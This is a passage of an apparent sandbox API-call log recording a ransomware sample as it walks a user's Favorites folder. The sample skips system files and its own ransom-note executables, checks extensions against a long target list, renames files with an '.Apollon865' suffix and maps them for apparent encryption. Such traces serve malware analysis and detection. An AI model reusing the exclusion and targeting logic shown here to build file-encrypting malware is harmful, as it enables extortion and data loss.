	[0088.595] lstrlenW (lpString="rpd") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0088.595] lstrlenW (lpString="rsd") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0088.595] lstrlenW (lpString="sas7bdat") returned 8
	[0088.595] lstrcmpiW (lpString1="Live.url", lpString2="sas7bdat") returned -1
	[0088.595] lstrlenW (lpString="sbf") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0088.595] lstrlenW (lpString="scx") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0088.595] lstrlenW (lpString="sdb") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0088.595] lstrlenW (lpString="sdc") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0088.595] lstrlenW (lpString="sdf") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0088.595] lstrlenW (lpString="sis") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0088.595] lstrlenW (lpString="spq") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0088.595] lstrlenW (lpString="te") returned 2
	[0088.595] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0088.595] lstrlenW (lpString="teacher") returned 7
	[0088.595] lstrcmpiW (lpString1="ive.url", lpString2="teacher") returned -1
	[0088.595] lstrlenW (lpString="tmd") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0088.595] lstrlenW (lpString="tps") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0088.595] lstrlenW (lpString="trc") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0088.595] lstrlenW (lpString="trc") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0088.595] lstrlenW (lpString="trm") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0088.595] lstrlenW (lpString="udb") returned 3
	[0088.596] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0088.596] lstrlenW (lpString="udl") returned 3
	[0088.596] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0088.596] lstrlenW (lpString="usr") returned 3
	[0088.596] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0088.596] lstrlenW (lpString="v12") returned 3
	[0088.596] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0088.596] lstrlenW (lpString="vis") returned 3
	[0088.596] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0088.596] lstrlenW (lpString="vpd") returned 3
	[0088.596] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0088.596] lstrlenW (lpString="vvv") returned 3
	[0088.596] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0088.596] lstrlenW (lpString="wdb") returned 3
	[0088.596] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0088.596] lstrlenW (lpString="wmdb") returned 4
	[0088.596] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0088.596] lstrlenW (lpString="wrk") returned 3
	[0088.596] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0088.596] lstrlenW (lpString="xdb") returned 3
	[0088.596] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0088.596] lstrlenW (lpString="xld") returned 3
	[0088.596] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0088.596] lstrlenW (lpString="xmlff") returned 5
	[0088.596] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1
	[0088.596] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.Apollon865") returned 84
	[0088.596] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.apollon865"), dwFlags=0x1) returned 1
	[0088.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.599] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.599] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.600] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.600] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.600] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.603] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.604] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.604] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.604] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0088.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0088.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.605] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.605] CloseHandle (hObject=0x15c) returned 1
	[0088.605] CloseHandle (hObject=0x9c) returned 1
	[0088.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.606] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3040eaf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3040eaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.606] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.606] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="..") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="windows") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="bootmgr") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="temp") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="pagefile.sys") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="boot") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="ids.txt") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="ntuser.dat") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="perflogs") returned 1
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="MSBuild") returned 1
	[0088.606] lstrlenW (lpString="Windows Live Gallery.url") returned 24
	[0088.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned 73
	[0088.606] lstrcpyW (in: lpString1=0x119e672, lpString2="Windows Live Gallery.url" | out: lpString1="Windows Live Gallery.url") returned="Windows Live Gallery.url"
	[0088.606] lstrlenW (lpString="Windows Live Gallery.url") returned 24
	[0088.606] lstrlenW (lpString="Apollon865") returned 10
	[0088.606] lstrcmpiW (lpString1="allery.url", lpString2="Apollon865") returned -1
	[0088.606] lstrlenW (lpString=".dll") returned 4
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".dll") returned 1
	[0088.606] lstrlenW (lpString=".lnk") returned 4
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".lnk") returned 1
	[0088.606] lstrlenW (lpString=".ini") returned 4
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".ini") returned 1
	[0088.606] lstrlenW (lpString=".sys") returned 4
	[0088.606] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".sys") returned 1
	[0088.606] lstrlenW (lpString="Windows Live Gallery.url") returned 24
	[0088.606] lstrlenW (lpString="bak") returned 3
	[0088.606] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0088.606] lstrlenW (lpString="ba_") returned 3
	[0088.606] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0088.607] lstrlenW (lpString="dbb") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0088.607] lstrlenW (lpString="vmdk") returned 4
	[0088.607] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0088.607] lstrlenW (lpString="rar") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0088.607] lstrlenW (lpString="zip") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0088.607] lstrlenW (lpString="tgz") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0088.607] lstrlenW (lpString="vbox") returned 4
	[0088.607] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0088.607] lstrlenW (lpString="vdi") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0088.607] lstrlenW (lpString="vhd") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0088.607] lstrlenW (lpString="vhdx") returned 4
	[0088.607] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0088.607] lstrlenW (lpString="avhd") returned 4
	[0088.607] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0088.607] lstrlenW (lpString="db") returned 2
	[0088.607] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0088.607] lstrlenW (lpString="db2") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0088.607] lstrlenW (lpString="db3") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0088.607] lstrlenW (lpString="dbf") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0088.607] lstrlenW (lpString="mdf") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0088.607] lstrlenW (lpString="mdb") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0088.607] lstrlenW (lpString="sql") returned 3
	[0088.607] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0088.607] lstrlenW (lpString="sqlite") returned 6
	[0088.607] lstrcmpiW (lpString1="ry.url", lpString2="sqlite") returned -1
	[0088.607] lstrlenW (lpString="sqlite3") returned 7
	[0088.608] lstrcmpiW (lpString1="ery.url", lpString2="sqlite3") returned -1
	[0088.608] lstrlenW (lpString="sqlitedb") returned 8
	[0088.608] lstrcmpiW (lpString1="lery.url", lpString2="sqlitedb") returned -1
	[0088.608] lstrlenW (lpString="xml") returned 3
	[0088.608] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0088.608] lstrlenW (lpString="$er") returned 3
	[0088.608] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0088.608] lstrlenW (lpString="4dd") returned 3
	[0088.608] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0088.608] lstrlenW (lpString="4dl") returned 3
	[0088.608] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0088.608] lstrlenW (lpString="^^^") returned 3
	[0088.608] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0088.608] lstrlenW (lpString="abs") returned 3
	[0088.608] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0088.608] lstrlenW (lpString="abx") returned 3
	[0088.608] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0088.608] lstrlenW (lpString="accdb") returned 5
	[0088.608] lstrcmpiW (lpString1="y.url", lpString2="accdb") returned 1
	[0088.608] lstrlenW (lpString="accdc") returned 5
	[0088.608] lstrcmpiW (lpString1="y.url", lpString2="accdc") returned 1
	[0088.608] lstrlenW (lpString="accde") returned 5
	[0088.608] lstrcmpiW (lpString1="y.url", lpString2="accde") returned 1
	[0088.608] lstrlenW (lpString="accdr") returned 5
	[0088.608] lstrcmpiW (lpString1="y.url", lpString2="accdr") returned 1
	[0088.608] lstrlenW (lpString="accdt") returned 5
	[0088.608] lstrcmpiW (lpString1="y.url", lpString2="accdt") returned 1
	[0088.608] lstrlenW (lpString="accdw") returned 5
	[0088.608] lstrcmpiW (lpString1="y.url", lpString2="accdw") returned 1
	[0088.608] lstrlenW (lpString="accft") returned 5
	[0088.608] lstrcmpiW (lpString1="y.url", lpString2="accft") returned 1
	[0088.608] lstrlenW (lpString="adb") returned 3
	[0088.608] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.608] lstrlenW (lpString="adb") returned 3
	[0088.608] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.609] lstrlenW (lpString="ade") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0088.609] lstrlenW (lpString="adf") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0088.609] lstrlenW (lpString="adn") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0088.609] lstrlenW (lpString="adp") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0088.609] lstrlenW (lpString="alf") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0088.609] lstrlenW (lpString="ask") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0088.609] lstrlenW (lpString="btr") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0088.609] lstrlenW (lpString="cat") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0088.609] lstrlenW (lpString="cdb") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0088.609] lstrlenW (lpString="ckp") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0088.609] lstrlenW (lpString="cma") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0088.609] lstrlenW (lpString="cpd") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0088.609] lstrlenW (lpString="dacpac") returned 6
	[0088.609] lstrcmpiW (lpString1="ry.url", lpString2="dacpac") returned 1
	[0088.609] lstrlenW (lpString="dad") returned 3
	[0088.609] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0088.609] lstrlenW (lpString="dadiagrams") returned 10
	[0088.609] lstrcmpiW (lpString1="allery.url", lpString2="dadiagrams") returned -1
	[0088.609] lstrlenW (lpString="daschema") returned 8
	[0088.609] lstrcmpiW (lpString1="lery.url", lpString2="daschema") returned 1
	[0088.609] lstrlenW (lpString="db-journal") returned 10
	[0088.609] lstrcmpiW (lpString1="allery.url", lpString2="db-journal") returned -1
	[0088.609] lstrlenW (lpString="db-shm") returned 6
	[0088.609] lstrcmpiW (lpString1="ry.url", lpString2="db-shm") returned 1
	[0088.609] lstrlenW (lpString="db-wal") returned 6
	[0088.610] lstrcmpiW (lpString1="ry.url", lpString2="db-wal") returned 1
	[0088.610] lstrlenW (lpString="dbc") returned 3
	[0088.610] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0088.610] lstrlenW (lpString="dbs") returned 3
	[0088.610] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0088.610] lstrlenW (lpString="dbt") returned 3
	[0088.610] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0088.610] lstrlenW (lpString="dbv") returned 3
	[0088.610] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0088.610] lstrlenW (lpString="dbx") returned 3
	[0088.610] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0088.610] lstrlenW (lpString="dcb") returned 3
	[0088.610] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0088.610] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.Apollon865") returned 88
	[0088.610] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.apollon865"), dwFlags=0x1) returned 1
	[0088.614] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.614] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.615] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.615] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.616] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.616] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.618] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.619] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.619] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.619] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0088.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0088.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.620] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.620] CloseHandle (hObject=0x15c) returned 1
	[0088.620] CloseHandle (hObject=0x9c) returned 1
	[0088.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.621] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="..") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="windows") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="bootmgr") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="temp") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="pagefile.sys") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="boot") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="ids.txt") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="ntuser.dat") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="perflogs") returned 1
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="MSBuild") returned 1
	[0088.621] lstrlenW (lpString="Windows Live Mail.url") returned 21
	[0088.621] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned 77
	[0088.621] lstrcpyW (in: lpString1=0x119e672, lpString2="Windows Live Mail.url" | out: lpString1="Windows Live Mail.url") returned="Windows Live Mail.url"
	[0088.621] lstrlenW (lpString="Windows Live Mail.url") returned 21
	[0088.621] lstrlenW (lpString="Apollon865") returned 10
	[0088.621] lstrcmpiW (lpString1="e Mail.url", lpString2="Apollon865") returned 1
	[0088.621] lstrlenW (lpString=".dll") returned 4
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".dll") returned 1
	[0088.621] lstrlenW (lpString=".lnk") returned 4
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".lnk") returned 1
	[0088.621] lstrlenW (lpString=".ini") returned 4
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".ini") returned 1
	[0088.621] lstrlenW (lpString=".sys") returned 4
	[0088.621] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".sys") returned 1
	[0088.621] lstrlenW (lpString="Windows Live Mail.url") returned 21
	[0088.622] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.Apollon865") returned 85
	[0088.622] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.apollon865"), dwFlags=0x1) returned 1
	[0088.623] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.623] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
